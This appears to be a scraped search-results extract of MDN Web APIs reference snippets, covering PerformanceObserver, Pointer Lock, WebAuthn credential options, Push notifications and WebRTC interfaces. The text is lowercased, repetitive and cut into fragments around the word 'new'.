new performanceobserver(function(list) { const perfentries = list.getentries().foreach(entry => { // full duration const inputduration = entry.duration; // input delay (before processing event) const inputdelay = entry.processingstart - entry.starttime; // synchronous event processing time (between start and end dispatch). const inputsyncprocessingt...
...ction sendtoanalytics(data) { const body = json.stringify(data); // use `navigator.sendbeacon()` if available, falling back to `fetch()`. (navigator.sendbeacon && navigator.sendbeacon('/analytics', body)) || fetch('/analytics', {body, method: 'post', keepalive: true}); } // use a try/catch instead of feature detecting `first-input` // support, since some browsers throw when using the
new `type` option. // https://bugs.webkit.org/show_bug.cgi?id=209216 try { function onfirstinputentry(entry) { // only report fid if the page wasn't hidden prior to // the entry being dispatched. this typically happens when a // page is loaded in a background tab. if (entry.starttime < firsthiddentime) { const fid = entry.processingstart - entry.starttime; // report the...
...// the entry being dispatched. this typically happens when a // page is loaded in a background tab. if (entry.starttime < firsthiddentime) { const fid = entry.processingstart - entry.starttime; // report the fid value to an analytics endpoint. sendtoanalytics({fid}); } } // create a performanceobserver that calls `onfirstinputentry` for each entry. const po =
new performanceobserver((entrylist) => { entrylist.getentries().foreach(onfirstinputentry); }); // observe entries of type `first-input`, including buffered entries, // i.e. entries that occurred before calling `observe()` below. po.observe({ type: 'first-input', buffered: true, }); } catch (e) { // do nothing if the browser doesn't support this api. } specifications ...
PerformanceObserver() - Web APIs
the performanceobserver() constructor creates a
new performanceobserver object with the given observer callback. the observer callback is invoked when performance entry events are recorded for the entry types that have been registered, via the observe() method. syntax var observer =
new performanceobserver(callback); parameters callback a performanceobservercallback callback that will be invoked when observed performance events are recorded. when the callback is invoked, its first parameter is a list of performance observer entries and the second parameter is the observer object. return value a
new performanceobserver object which will call the specified callback when observed performance events occur. ...
... performanceobservercallback callback that will be invoked when observed performance events are recorded. when the callback is invoked, its first parameter is a list of performance observer entries and the second parameter is the observer object. return value a
new performanceobserver object which will call the specified callback when observed performance events occur. ...
...pecified callback when observed performance events occur. example var observer =
new performanceobserver(function(list, obj) { var entries = list.getentries(); for (var i=0; i < entries.length; i++) { // process "mark" and "frame" events } }); observer.observe({entrytypes: ["mark", "frame"]}); function perf_observer(list, observer) { // process the "measure" event } var observer2 =
new performanceobserver(perf_observer); observer2.observe({entrytypes: ["measure"]}); specifications specification status comment performance timeline level 2the definition of 'performanceobserver()' in that specification. candidate recommendation initial definition of performanceobserver() constructor. ...
PeriodicWave.PeriodicWave() - Web APIs
context a baseaudiocontext representing the audio context you want the node to be associated with. options optional a periodicwaveoptions dictionary object defining the properties you want the periodicwave to have (it also inherits the options defined in the periodicwaveconstraints dictionary.): real: a float32array containing the cosine terms that you want to use to form the wave (equivalent to the real parameter of audiocontext.createperiodicwave). ...
...ions defined in the periodicwaveconstraints dictionary.): real: a float32array containing the cosine terms that you want to use to form the wave (equivalent to the real parameter of audiocontext.createperiodicwave). imag: a float32array containing the sine terms that you want to use to form the wave (equivalent to the imag parameter of audiocontext.createperiodicwave). ...
...): real: a float32array containing the cosine terms that you want to use to form the wave (equivalent to the real parameter of audiocontext.createperiodicwave). imag: a float32array containing the sine terms that you want to use to form the wave (equivalent to the imag parameter of audiocontext.createperiodicwave). return value a
new periodicwave object instance. example var real =
new float32array(2); var imag =
new float32array(2); var ac =
new audiocontext(); real[0] = 0; imag[0] = 0; real[1] = 1; imag[1] = 0; var options = { real : real, imag : imag, disablenormalization : false } var wave =
new periodicwave(ac, options); specifications specification status comment web audio apithe definition of 'periodicwave' in that specification. wor...
PointerEvent.PointerEvent() - Web APIs
pointereventinitoptional is a pointereventinit dictionary, having the following fields: pointerid — optional and defaulting to 0, of type long, that sets the value of the instance's pointerevent.pointerid. width — optional and defaulting to 1, of type double, that sets the value of the instance's pointerevent.width. height — optional and defaulting to 1, of type double, that sets the value of the instance's pointerevent.height. ...
... optional and defaulting to "", of type domstring, that sets the value of the instance's pointerevent.pointertype. ...
... that sets the value of the instance's pointerevent.pointertype. isprimary — optional and defaulting to false, of type boolean, that sets the value of the instance's pointerevent.isprimary. ...
Pointer Lock API - Web APIs
e gesture. it is not limited by browser or screen boundaries. it continues to send events regardless of mouse button state. it hides the cursor. method/properties overview this section provides a brief description of each property and method related to the pointer lock specification. requestpointerlock() the pointer lock api, similar to the fullscreen api, extends dom elements by adding a
new method, requestpointerlock(). as it has recently unprefixed, you would currently declare it something like this, for example if you wanted to request pointer lock on a canvas element: canvas.requestpointerlock = canvas.requestpointerlock || canvas.mozrequestpointerlock; canvas.requestpointerlock() if a user has exited pointer lock via the default unlock gesture, o...
... gesture, or pointer lock has not previously been entered for this document, an event generated as a result of an engagement gesture must be received by the document before requestpointerlock will succeed. (from https://w3c.github.io/pointerlock/#extensions-to-the-element-interface) pointerlockelement and exitpointerlock() the pointer lock api also extends the document interface, adding both a
new property and a
new method. the
new property is used for accessing the currently locked element (if any), and is named pointerlockelement and the
new method on document is exitpointerlock() and, as the name implies, it is used to exit the pointer lock. the pointerlockelement property is useful for determining if any element is currently pointer locked (e.g., for doing a boolean check) and also fo...
...xtra data. document.addeventlistener('pointerlockerror', lockerror, false); document.addeventlistener('mozpointerlockerror', lockerror, false); function lockerror(e) { alert("pointer lock failed"); } note: until firefox 50 the above events were prefixed with moz in firefox. extensions to mouse events the pointer lock api extends the normal mouseevent interface with movement attributes. two
new attributes to mouse events—movementx and movementy—provide the change in mouse positions. the values of the parameters are the same as the difference between the values of mouseevent properties, screenx and screeny, which are stored in two subsequent mousemove events, enow and eprevious. in other words, the pointer lock parameter movementx = enow.screenx - eprevious.screenx. locked state wh...
Using Pointer Events - Web APIs
("canvas")[0]; el.addeventlistener("pointerdown", handlestart, false); el.addeventlistener("pointerup", handleend, false); el.addeventlistener("pointercancel", handlecancel, false); el.addeventlistener("pointermove", handlemove, false); log("initialized."); } this simply sets up all the event listeners for our <canvas> element so we can handle the touch events as they occur. tracking
new touches we'll keep track of the touches in-progress. var ongoingtouches =
new array(); when a pointerdown event occurs, indicating that a
new touch on the surface has occurred, the handlestart() function below is called. function handlestart(evt) { log("pointerdown."); var el = document.getelementsbytagname("canvas")[0]; var ctx = el.getcontext("2d"); log("pointerdown: id = " + evt.
...goingtouchindexbyid(evt.pointerid); log("continuing touch: idx = " + idx); if (idx >= 0) { ctx.beginpath(); log("ctx.moveto(" + ongoingtouches[idx].pagex + ", " + ongoingtouches[idx].pagey + ");"); ctx.moveto(ongoingtouches[idx].pagex, ongoingtouches[idx].pagey); log("ctx.lineto(" + evt.clientx + ", " + evt.clienty + ");"); ctx.lineto(evt.clientx, evt.clienty); ctx.li
newidth = 4; ctx.strokestyle = color; ctx.stroke(); ongoingtouches.splice(idx, 1, copytouch(evt)); // swap in the
new touch record log("."); } else { log("can't figure out which touch to continue: idx = " + idx); } } this function looks in our cached touch information array for the previous information about each touch to determine the starting point for each touch's
new l...
...e handleend() function below. its job is to draw the last line segment for the touch that ended and remove the touch point from the ongoing touch list. ...
PromiseRejectionEvent() - Web APIs
with promise rejection events, it becomes possible to detect and report promises which fail and whose failures go unnoticed. it also becomes easier to write a global handler for errors. there are two types of promiserejectionevent: unhandledrejection is sent by the javascript runtime when a promise is rejected but the rejection goes unhandled. a rejectionhandled event is emitted if a promise is rejected but the rejection is caught by a rejection handler.. ...
...n object specifying details about the rejection which occurred: promise the promise that was rejected. reason any value or object which represents the reason the promise was rejected. this can be anything from a numeric error code to an error domstring to an object which contains detailed information describing the situation resulting in the promise being rejected. return value a
new promiserejectionevent configured as specified by the parameters. examples this example creates a
new unhandledrejection event for the promise mypromise with the reason being the string "my house is on fire". the reason could just as easily be a number, or even an object with detailed information including the home address, how serious the fire is, and the phone number of an emergency contact wh...
... by the parameters. examples this example creates a
new unhandledrejection event for the promise mypromise with the reason being the string "my house is on fire". the reason could just as easily be a number, or even an object with detailed information including the home address, how serious the fire is, and the phone number of an emergency contact who should be notified. let myrejectionevent =
new promiserejectionevent("unhandledrejection", { promise : mypromise, reason : "my house is on fire" }); specifications specification status comment html living standardthe definition of 'the promiserejectionevent interface' in that specification. living standard initial definition. ...
PublicKeyCredential.id - Web APIs
the current publickeycredential instance. this property is a base64url encoded version of publickeycredential.rawid. note: this property may only be used in top-level contexts and will not be available in an <iframe> for example. syntax id = publickeycredential.id value a domstring being the base64url encoded version of publickeycredential.rawid. ...
... used in top-level contexts and will not be available in an <iframe> for example. syntax id = publickeycredential.id value a domstring being the base64url encoded version of publickeycredential.rawid. ...
...(26) /* this actually is given from the server */, rp: { name: "example corp", id : "login.example.com" }, user: { id:
new uint8array(26), /* to be changed for each user */ name: "jdoe@example.com", displayname: "john doe", }, pubkeycredparams: [ { type: "public-key", alg: -7 } ] }; navigator.credentials.create({ publickey }) .then(function (
newcredentialinfo) { var id =
newcredentialinfo.id; // do something with the id // send attestation response and client extensions // to the server to proceed with the registration // of the credential }).catch(function (err) { console.error(err); }); specifications specification status comment web authentication: an api for accessing publi...
PublicKeyCredentialCreationOptions.attestation - Web APIs
nformation. "indirect": the client may change the assertion from the authenticator (for instance, using an anonymization ca). this value is used when the relying party wishes to verify the attestation. "direct": the relying party wants to receive the attestation as generated by the authenticator. the default value is "none". ...
...he relying party wishes to verify the attestation. "direct": the relying party wants to receive the attestation as generated by the authenticator. the default value is "none". ...
...(26) /* this actually is given from the server */, rp: { name: "example corp", id : "login.example.com" }, user: { id:
new uint8array(26), /* to be changed for each user */ name: "jdoe@example.com", displayname: "john doe", }, pubkeycredparams: [ { type: "public-key", alg: -7 } ] }; navigator.credentials.create({ publickey }) .then(function (
newcredentialinfo) { // send attestation response and client extensions // to the server to proceed with the registration // of the credential }).catch(function (err) { console.error(err); }); specifications specification status comment web authentication: an api for accessing public key credentials level 1the definition of 'attestation' in that spec...
PublicKeyCredentialCreationOptions.authenticatorSelection - Web APIs
c key credential must comply with the requirements. note: see publickeycredential.isuserverifyingplatformauthenticatoravailable() which resolves to true when a user-verifiying platform authenticator is available. ...
...ue when a user-verifiying platform authenticator is available. ...
...
new uint8array(26) /* this actually is given from the server */, rp: { name: "example corp", id : "login.example.com" }, user: { id:
new uint8array(26), /* to be changed for each user */ name: "jdoe@example.com", displayname: "john doe", }, pubkeycredparams: [ { type: "public-key", alg: -7 } ] }; navigator.credentials.create({ publickey }) .then(function (
newcredentialinfo) { // send attestation response and client extensions // to the server to proceed with the registration // of the credential }).catch(function (err) { console.error(err); }); specifications specification status comment web authentication: an api for accessing public key credentials level 1the definition of 'authenticatorselection' i...
PublicKeyCredentialCreationOptions.challenge - Web APIs
east 16 bytes long. syntax challenge = publickeycredentialcreationoptions.challenge value a buffersource which is at least 16 bytes long. contains a cryptographic challenge emitted from the relying party's server which must be signed by the authenticator's private key and sent back (within the response) to the relying party's server for verification. ...
...a cryptographic challenge emitted from the relying party's server which must be signed by the authenticator's private key and sent back (within the response) to the relying party's server for verification. ...
...(26) /* this actually is given from the server */, rp: { name: "example corp", id : "login.example.com" }, user: { id:
new uint8array(26), /* to be changed for each user */ name: "jdoe@example.com", displayname: "john doe", }, pubkeycredparams: [ { type: "public-key", alg: -7 } ] }; navigator.credentials.create({ publickey }) .then(function (
newcredentialinfo) { // send attestation response and client extensions // to the server to proceed with the registration // of the credential }).catch(function (err) { console.error(err); }); specifications specification status comment web authentication: an api for accessing public key credentials level 1the definition of 'challenge' in that specif...
PublicKeyCredentialCreationOptions.extensions - Web APIs
note: extensions are optional and different browsers may recognize different extensions. all extensions are optional for the client to process them: if a browser does not know a given extension, that will not cause any failure, the extension simply will not be processed. ...
...if a browser does not know a given extension, that will not cause any failure, the extension simply will not be processed. ...
...
new uint8array(26) /* this actually is given from the server */, rp: { name: "example corp", id : "login.example.com" }, user: { id:
new uint8array(26), /* to be changed for each user */ name: "jdoe@example.com", displayname: "john doe", }, pubkeycredparams: [ { type: "public-key", alg: -7 } ] }; navigator.credentials.create({ publickey }) .then(function (
newcredentialinfo) { // mybuffer will contain the result of any of the processing of the extensions var mybuffer =
newcredentialinfo.getclientextensionresults(); // send attestation response and client extensions // to the server to proceed with the registration // of the credential }).catch(function (err) { console.error(err); }); specifications specification...
PublicKeyCredentialCreationOptions.timeout - Web APIs
ts for the fetching operation (navigators.credentials.get()), see publickeycredentialrequestoptions.timeout. syntax timeout = publickeycredentialcreationoptions.timeout value a numerical hint, expressed in milliseconds, giving the time to wait for the creation operation to complete. examples var publickey = { timeout: 6000, // accepting to wait for a minute before giving up. ...
...tionoptions.timeout value a numerical hint, expressed in milliseconds, giving the time to wait for the creation operation to complete. examples var publickey = { timeout: 6000, // accepting to wait for a minute before giving up. ...
...(26) /* this actually is given from the server */, rp: { name: "example corp", id : "login.example.com" }, user: { id:
new uint8array(26), /* to be changed for each user */ name: "jdoe@example.com", displayname: "john doe", }, pubkeycredparams: [ { type: "public-key", alg: -7 } ] }; navigator.credentials.create({ publickey }) .then(function (
newcredentialinfo) { // send attestation response and client extensions // to the server to proceed with the registration // of the credential }).catch(function (err) { console.error(err); }); specifications specification status comment web authentication: an api for accessing public key credentials level 1the definition of 'timeout' in that specific...
PublicKeyCredentialCreationOptions.user - Web APIs
t with its corresponding credentials. this value will later be used when fetching the credentials in authenticatorassertionresponse.userhandle. name a domstring giving a human-readable name for the user's identifier (e.g. "jdoe@example.com").this property is intended for display and may be use to distinguish different account with the same displayname. ...
...name for the user's identifier (e.g. "jdoe@example.com").this property is intended for display and may be use to distinguish different account with the same displayname. ...
... }, user: { // to be changed for each user id:
new uint8array.from(window.atob("laegmlkjnrlkgnamlafalfka="), c=>c.charcodeat(0)); name: "jdoe@example.com", displayname: "john doe", icon: "https://gravatar.com/avatar/jdoe.png" }, pubkeycredparams: [ { type: "public-key", alg: -7 } ] }; navigator.credentials.create({ publickey }) .then(function (
newcredentialinfo) { // send attestation response and client extensions // to the server to proceed with the registration // of the credential }).catch(function (err) { console.error(err); }); specifications specification status comment web authentication: an api for accessing public key credentials level 1the definition of 'user' in that specificati...
PublicKeyCredentialRequestOptions - Web APIs
g how the user verification should be part of the authentication process. publickeycredentialrequestoptions.extensions optional an object with several client extensions' inputs. those extensions are used to request additional processing (e.g. dealing with legacy fido apis credentials, prompting a specific text on the authenticator, etc.). methods none. ...
... methods none. ...
.../* will only work if the current domain is something like foo.example.com */ userverification: "preferred", timeout: 60000, // wait for a minute allowcredentials: [ { transports: "usb", type: "public-key", id:
new uint8array(26) // actually provided by the server }, { transports: "internal", type: "public-key", id:
new uint8array(26) // actually provided by the server } ], extensions: { uvm: true, // rp wants to know how the user was verified loc: false, txauthsimple: "could you please verify yourself?" } }; navigator.credentials.get({ "publickey": options }) .then(function (credentialinfoassertion) { // send assertion response back to the server // to proceed with the contro...
PushEvent - Web APIs
properties inherits properties from its parent, extendableevent. additional properties: pushevent.data read only returns a reference to a pushmessagedata object containing data sent to the pushsubscription. ...
... the service worker's clients. ...
...listener('push', function(event) { if (!(self.notification && self.notification.permission === 'granted')) { return; } var data = {}; if (event.data) { data = event.data.json(); } var title = data.title || "something has happened"; var message = data.message || "here's something you might want to check out."; var icon = "images/
new-notification.png"; var notification =
new self.notification(title, { body: message, tag: 'simple-push-demo-notification', icon: icon }); notification.addeventlistener('click', function() { if (clients.openwindow) { clients.openwindow('https://example.blog.com/2015/03/04/something-
new.html'); } }); }); specifications specification status comment push apithe definition of 'pusheve...
PushRegistrationManager - Web APIs
pushregistrationmanager.unregister() returns a promise that resolves to a pushregistration with details of the unregistered registration. ...
... ...
... ...
Web Push API Notifications best practices - Web APIs
combination of the notifications, push, and service worker apis) are part of the rising noise that product developers and marketers are using to get attention for their sites. ...
...noise that product developers and marketers are using to get attention for their sites. searching the web for "web push notifications," you'll find articles from marketing experts who believe you should use push to re-engage people who have left your site so they can complete a purchase, or be sent the latest
news, or receive links to recommended products. the dark side their novelty provides a
new and unexploited opportunity for enterprising sites to reach potential customers. has the customer switched tabs to answer an email? win them back with an expiring offer of free shipping that they can’t ignore! but really, is this the best use of push notifications? or is it a
new iteration on the old and tired pop-up ad? “web push doesn’t risk ending up in the spam folder. nor can it be ...
...to opt out of getting more in the future. there are some basic questions you can answer to determine if a push notification is needed: is there someone waiting in real-time for a response? in our above example, the program manager is awaiting your response and so a push notification is appropriate. is up-to-the minute updating necessary? i use a service that aggregates different social media
news sources. when a story i’m interested in is trending, i’d like to get a notification! is there breaking
news that is timely? this is where it gets a little tricky. sometimes
news sites request push notifications so they can essentially say "look at me! look at me!" it all comes down to what the user wants, and you can use behavior to determine intent. for example, if the user views more than...
RTCDataChannel: message event - Web APIs
operty onmessage note: the message event uses as its event object type the messageevent interface defined by the html specification. ...
...t type the messageevent interface defined by the html specification. examples for a given rtcdatachannel, dc, created for a peer connection using its createdatachannel() method, this code sets up a handler for incoming messages and acts on them by adding the data contained within the message to the current document as a
new <p> (paragraph) element. dc.addeventlistener("message", ev => { let
newparagraph = document.createelement("p"); let textnode = document.createtextnode(event.data);
newparagraph.appendchild(textnode); document.body.appendchild(
newparagraph); }, false); lines 2-4 create the
new paragraph element and add the message data to it as a
new text node. line 6 appends the
new paragraph to the end of the document's body. you can also use an rtcdatachannel object's onm...
...t.data);
newparagraph.appendchild(textnode); document.body.appendchild(
newparagraph); }, false); lines 2-4 create the
new paragraph element and add the message data to it as a
new text node. line 6 appends the
new paragraph to the end of the document's body. you can also use an rtcdatachannel object's onmessage event handler property to set the event handler: dc.onmessage = ev => { let
newparagraph = document.createelement("p"); let textnode = document.createtextnode(event.data);
newparagraph.appendchild(textnode); document.body.appendchild(
newparagraph); } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'the <code>message</code> event' in that specification. candidate recommendat...
RTCDataChannel.onmessage - Web APIs
this event is sent to the channel when a message is received from the other peer. syntax rtcdatachannel.onmessage = function; value a function which the browser will call to handle the message event. the function receives as its sole input parameter a messageevent object describing the event. ...
...sage = function; value a function which the browser will call to handle the message event. the function receives as its sole input parameter a messageevent object describing the event. example this code snippet creates a peer connection, adds a data channel to it, and starts creating
new <p> (paragraph) elements each time a message arrives, with the message's contents displayed inside it. the
new elements are then attached to the end of the document. ...
...ndle the message event. the function receives as its sole input parameter a messageevent object describing the event. example this code snippet creates a peer connection, adds a data channel to it, and starts creating
new <p> (paragraph) elements each time a message arrives, with the message's contents displayed inside it. the
new elements are then attached to the end of the document. ...
RTCDataChannel.readyState - Web APIs
defines string constants which reflect the current status of the rtcdatachannel's underlying data connection. constant description "connecting" the user agent (browser) is in the process of creating the underlying data transport; that is, whatever network level connection is used to link the two peers together is in the process of being set up. ...
...vel connection is used to link the two peers together is in the process of being set up. this is the state of a
new rtcdatachannel after being created by rtcpeerconnection.createdatachannel() (on the peer which started the connection process). "open" the underlying data transport has been established and data can be transferred bidirectionally across it. this is the default state of a
new rtcdatachannel created by the webrtc layer when the remote peer created the channel and delivered to the site or app in a datachannel event of type rtcdatachannelevent. "closing" the process of closing the underlying data transport has begun. ...
... "closed" the underlying data transport has closed, or the attempt to make the connection failed. ...
RTCDataChannelEvent() - Web APIs
there is only one type of rtcdatachannelevent, so this will always be "datachannel". rtcdatachanneleventinit a rtcdatachanneleventinit dictionary, which has following fields: "channel" of type rtcdatachannel, representing the data channel being concerned by the event. "bubbles", optional, inherited from eventinit. indicates if the event must bubble or not. default is false. ...
...atachanneleventinit dictionary, which has following fields: "channel" of type rtcdatachannel, representing the data channel being concerned by the event. "bubbles", optional, inherited from eventinit. indicates if the event must bubble or not. default is false. "cancelable", optional, inherited from eventinit. indicates if the event can be canceled or not. default is false. ...
...ype rtcdatachannel, representing the data channel being concerned by the event. "bubbles", optional, inherited from eventinit. indicates if the event must bubble or not. default is false. "cancelable", optional, inherited from eventinit. indicates if the event can be canceled or not. default is false. value a
new rtcdatachannelevent configured as specified. example in this example, a
new datachannel event is created. dc is a data channel which already exists. var event =
new rtcdatachannelevent("datachannel", {"channel": dc}); specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcdatachannelevent' in that specification. candidate recommendation initial specification. ...
RTCIceCandidateInit.candidate - Web APIs
ve, the priority is 2043278322. the attributes are all separated by a single space character, and are in a specific order. the complete list of attributes for this example candidate is: foundation = 4234997325 component = "rtp" (the number 1 is encoded to this string; 2 becomes "rtcp") protocol = "udp" priority = 2043278322 ip = "192.168.0.56" port = 44323 type = "host" example when a
new ice candidate is received by your signaling code from the remote peer, you need to construct the rtcicecandidate object that encapsulates it. this is done in the event handler for the icecandidate event. if your client-side signaling layer builds and transmits a json string including the candidate to the remote peer, the remote peer might handle receiving that json message like this: function go...
... from the remote peer, you need to construct the rtcicecandidate object that encapsulates it. this is done in the event handler for the icecandidate event. if your client-side signaling layer builds and transmits a json string including the candidate to the remote peer, the remote peer might handle receiving that json message like this: function goticecandidatemessage(msg) { var icecandidate =
new rtcicecandidate({ candidate: msg.candidate; }); pc.addicecandidate(icecandidate).catch({ /* handle error */ }); } it's helpful to note that for backward compatibility with older versions of the webrtc specification, the rtcicecandidate() constructor accepts the value of candidate as its only input, in place of the rtcicecandidateinit dictionary. that usage would change the ab...
...te).catch({ /* handle error */ }); } it's helpful to note that for backward compatibility with older versions of the webrtc specification, the rtcicecandidate() constructor accepts the value of candidate as its only input, in place of the rtcicecandidateinit dictionary. that usage would change the above sample to look like this: function goticecandidatemessage(msg) { var icecandidate =
new rtcicecandidate(msg.candidate); pc.addicecandidate(icecandidate).catch({ /* handle error */ }); } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcicecandidateinit.candidate' in that specification. candidate recommendation initial specification. ...
RTCIceServer.credential - Web APIs
a string providing the credential to use when connecting to the described server. this is typically a password, key, or other secret. this value is used when the rtciceserver describes a turn server. syntax var iceserver = { ... credential = credential, ... ...
...nnecting to the described server. this is typically a password, key, or other secret. this value is used when the rtciceserver describes a turn server. syntax var iceserver = { ... credential = credential, ... ...
... credential = credential, ... }; var credential = iceserver.credential; iceserver.credential =
newcredential; example this example creates a
new rtcpeerconnection which uses a turn server at turnserver.example.org to negotiate connections. logging into the turn server uses the username "webrtc" and the creative password "turnpassword". mypeerconnection =
new rtcpeerconnection({ iceservers: [ { urls: "turn:turnserver.example.org", // a turn server username: "webrtc", credential: "turnpassword" } ] }); specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtciceserver.credential' in that specification. candidate recommendation ...
RTCIceServer.credentialType - Web APIs
the rtciceserver dictionary's credentialtype property is a string value from the rtcicecredentialtype enum which indicates what type of credential the rtciceserver.credential value is. the default is password. syntax var iceserver = { ... credentialtype =
newcredentialtype, ... }; var credentialtype = iceserver.credentialtype; iceserver.credentialtype =
newcredentialtype; value the permitted values are found in the rtcicecredentialtype enumerated string type: oauth the rtciceserver requires the use of oauth 2.0 to authenticate in order to use the ice server described. this process is detailed in rfc 7635. this property was formerly called token. password the rtciceserver requires a username and password to auth...
...d in the rtcicecredentialtype enumerated string type: oauth the rtciceserver requires the use of oauth 2.0 to authenticate in order to use the ice server described. this process is detailed in rfc 7635. this property was formerly called token. password the rtciceserver requires a username and password to authenticate prior to using the described ice server. ...
...formerly called token. password the rtciceserver requires a username and password to authenticate prior to using the described ice server. example this example creates a
new rtcpeerconnection which will use a turn server at turnserver.example.org to negotiate connections. logging into the turn server will use the username "webrtc" and the creative password "turnpassword". ...
RTCIceServer.username - Web APIs
eserver dictionary's username property is a string which specifies the username to use when authenticating with the ice server being described. this value is used when the rtciceserver describes a turn server. syntax var iceserver = { ... username = username, ... ...
...ring which specifies the username to use when authenticating with the ice server being described. this value is used when the rtciceserver describes a turn server. syntax var iceserver = { ... username = username, ... ...
... username = username, ... }; var username = iceserver.username; iceserver.username =
newusername; example this example creates a
new rtcpeerconnection which will use a turn server at turnserver.example.org to negotiate connections. logging into the turn server will use the username "webrtc" and the creative password "turnpassword". mypeerconnection =
new rtcpeerconnection({ iceservers: [ { urls: "turn:turnserver.example.org", // a turn server username: "webrtc", credential: "turnpassword" } ] }); specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtciceserver.username' in that specification. candidate recommendation i...
RTCIceTransport.gatheringState - Web APIs
"gathering" the transport is in the process of gathering candidates. ...
... "gathering" the transport is in the process of gathering candidates. ...
... "gathering" the transport is in the process of gathering candidates. "complete" the transport has finished gathering ice candidates and has sent the end-of-candidates indicator to the remote device. ...
RTCOfferOptions.iceRestart - Web APIs
olean value which, when true, tells the rtcpeerconnection to start ice renegotiation. note: rather than manually creating and submitting an offer with icerestart set to true, you should consider calling the rtcpeerconnection method restartice() instead. syntax var options = { icerestart: trueorfalse }; value a boolean value indicating whether or not the rtcpeerconnection should generate
new values for the connection's ice-ufrag and ice-pwd values, which will trigger ice renegotiation on the next message sent to the remote peer. usage notes when the rtcpeerconnection object's ice connection state changes to failed, you should try to trigger an ice restart. you should ideally do this by calling the rtcpeerconnection's restartice() method, if it's available. fundamentally, this rene...
...pwd values, which will trigger ice renegotiation on the next message sent to the remote peer. usage notes when the rtcpeerconnection object's ice connection state changes to failed, you should try to trigger an ice restart. you should ideally do this by calling the rtcpeerconnection's restartice() method, if it's available. fundamentally, this renegotiation is triggered by generating and using
new values for the ice username fragment ("ufrag")}} example this example shows a handler for the iceconnectionstatechange event. it watches for the ice connection state to transition to "failed", which indicates that an ice restart should be tried in order to attempt to bring the connection back up. pc.oniceconnectionstatechange = function(evt) { if (pc.iceconnectionstate === "failed") { if...
...startice(); } else { pc.createoffer({ icerestart: true }) .then(pc.setlocaldescription) .then(sendoffertoserver); } } } if the state changes to failed, this handler starts by looking to see if the rtcpeerconnection includes the restartice() method; if it does, we call that to request an ice restart. otherwise, we call back to the older technique: we manually create a
new offer with icerestart set to true, then that offer is set as the
new local description for the connection. after that, the offer is sent to the server by calling a custom function sendoffertoserver(). specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcofferoptions.icerestart' in that specification. can...
RTCPeerConnection.createOffer() - Web APIs
the createoffer() method of the rtcpeerconnection interface initiates the creation of an sdp offer for the purpose of starting a
new webrtc connection to a remote peer. the sdp offer includes information about any mediastreamtracks already attached to the webrtc session, codec, and options supported by the browser, and any candidates already gathered by the ice agent, for the purpose of being sent over the signaling channel to a potential peer to request a connection or to update the configuration of an existing connection. the return value is a promise which, when the offer has been created, is resolved with a rtcsessiondescription object containing the
newly-created offer. syntax apromise = mypeerconnection.createoffer([options]); mypeerconnection.createoffer(successcallback, failureca...
...s function. this has been deprecated and its use is strongly discouraged. you should update any existing code to use the promise-based version of createoffer() instead. the parameters for this form of createoffer() are described below, to aid in updating existing code. successcallback an rtcsessiondescriptioncallback which will be passed a single rtcsessiondescription object describing the
newly-created offer. errorcallback an rtcpeerconnectionerrorcallback which will be passed a single domexception object explaining why the request to create an offer failed. options optional an optional rtcofferoptions dictionary providing options requested for the offer. return value a promise whose fulfillment handler will receive an object conforming to the rtcsessiondescriptioninit dictio...
...e signaling server to a remote peer. exceptions these exceptions are returned by rejecting the returned promise. your rejection handler should examine the received exception to determine which occurred. invalidstateerror the rtcpeerconnection is closed. notreadableerror no certificate or set of certificates was provided for securing the connection, and createoffer() was unable to create a
new one. since all webrtc connections are required to be secured, that results in an error. operationerror examining the state of the system to determine resource availability in order to generate the offer failed for some reason. example here we see a handler for the negotiationneeded event which creates the offer and sends it to the remote system over a signaling channel. note: keep in mind ...
RTCPeerConnection.getConfiguration() - Web APIs
ted with. the configuration includes a list of the ice servers used by the connection, information about transport policies, and identity information. syntax var configuration = rtcpeerconnection.getconfiguration(); parameters this method takes no input parameters. return value an rtcconfiguration object describing the rtcpeerconnection's current configuration. ...
...ple this example adds a
new certificate to an active connection if it doesn't already have one in use. let configuration = mypeerconnection.getconfiguration(); if ((configuration.certificates != undefined) && (!configuration.certificates.length)) { rtcpeerconnection.generatecertificate({ name: 'rsassa-pkcs1-v1_5', hash: 'sha-256', moduluslength: 2048, publicexponent:
new uint8array([1, 0, 1]) }).then(function(cert) { configuration.certificates = [cert]; mypeerconnection.setconfiguration(configuration); }); } this example fetches the current configuration of the rtcpeerconnection, then looks to see if it has any certificates set by examining whether or not (a) the configuration has a value for certificates, and (b) whether its length is zero. if it'...
...onfiguration(configuration); }); } this example fetches the current configuration of the rtcpeerconnection, then looks to see if it has any certificates set by examining whether or not (a) the configuration has a value for certificates, and (b) whether its length is zero. if it's determined that there are no certificates in place, rtcpeerconnection.generatecertificate() is called to create a
new certificate; we provide a fulfillment handler which adds a
new array containing the one
newly-created certificate to the current configuration and passes it to setconfiguration() to add the certificate to the connection. specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'getconfiguration()' in that specifica...
RTCPeerConnection.iceGatheringState - Web APIs
s are those of an enum of type rtcicegatheringstate. rtcicegatheringstate enum the rtcicegatheringstate enum defines string constants which reflect the current status of ice gathering, as returned using the rtcpeerconnection.icegatheringstate property. you can detect when this value changes by watching for an event of type icegatheringstatechange. ...
...tching for an event of type icegatheringstatechange. constant description "
new" the peer connection was just created and hasn't done any networking yet. "gathering" the ice agent is in the process of gathering candidates for the connection. "complete" the ice agent has finished gathering candidates. if something happens that requires collecting
new candidates, such as a
new interface being added or the addition of a
new ice server, the state will revert to "gathering" to gather those candidates. ...
...t. "gathering" the ice agent is in the process of gathering candidates for the connection. "complete" the ice agent has finished gathering candidates. if something happens that requires collecting
new candidates, such as a
new interface being added or the addition of a
new ice server, the state will revert to "gathering" to gather those candidates. example var pc =
new rtcpeerconnection(); var state = pc.icegatheringstate; specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcpeerconnection.icegatheringstate' in that specification. candidate recommendation initial specification. ...
RTCPeerConnection.setLocalDescription() - Web APIs
to be applied to the local end of the connection. if the description is omitted, the webrtc runtime tries to automatically do the right thing. implicit description if you don't explicity provide a session description, the webrtc runtime will try to handle it correctly. if the signaling state is one of stable, have-local-offer, or have-remote-pranswer, the webrtc runtime automatically creates a
new offer and sets that as the
